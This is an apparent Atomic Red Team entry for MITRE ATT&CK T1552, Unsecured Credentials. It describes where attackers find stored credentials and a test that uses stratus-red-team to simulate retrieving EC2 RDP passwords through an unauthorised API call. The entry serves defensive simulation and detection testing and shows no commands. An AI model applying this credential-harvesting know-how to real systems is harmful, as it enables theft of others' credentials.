T1552 - Unsecured Credentials
Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)
Atomic Tests
Atomic Test #1 - AWS - Retrieve EC2 Password Data using stratus
This atomic runs an API call GetPasswordData from a role that does not have permission to do so. This simulates an attacker attempting to retrieve RDP passwords on a high number of Windows EC2 instances. This atomic test leverages a tool called stratus-red-team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.credential-access.ec2-get-password-data/
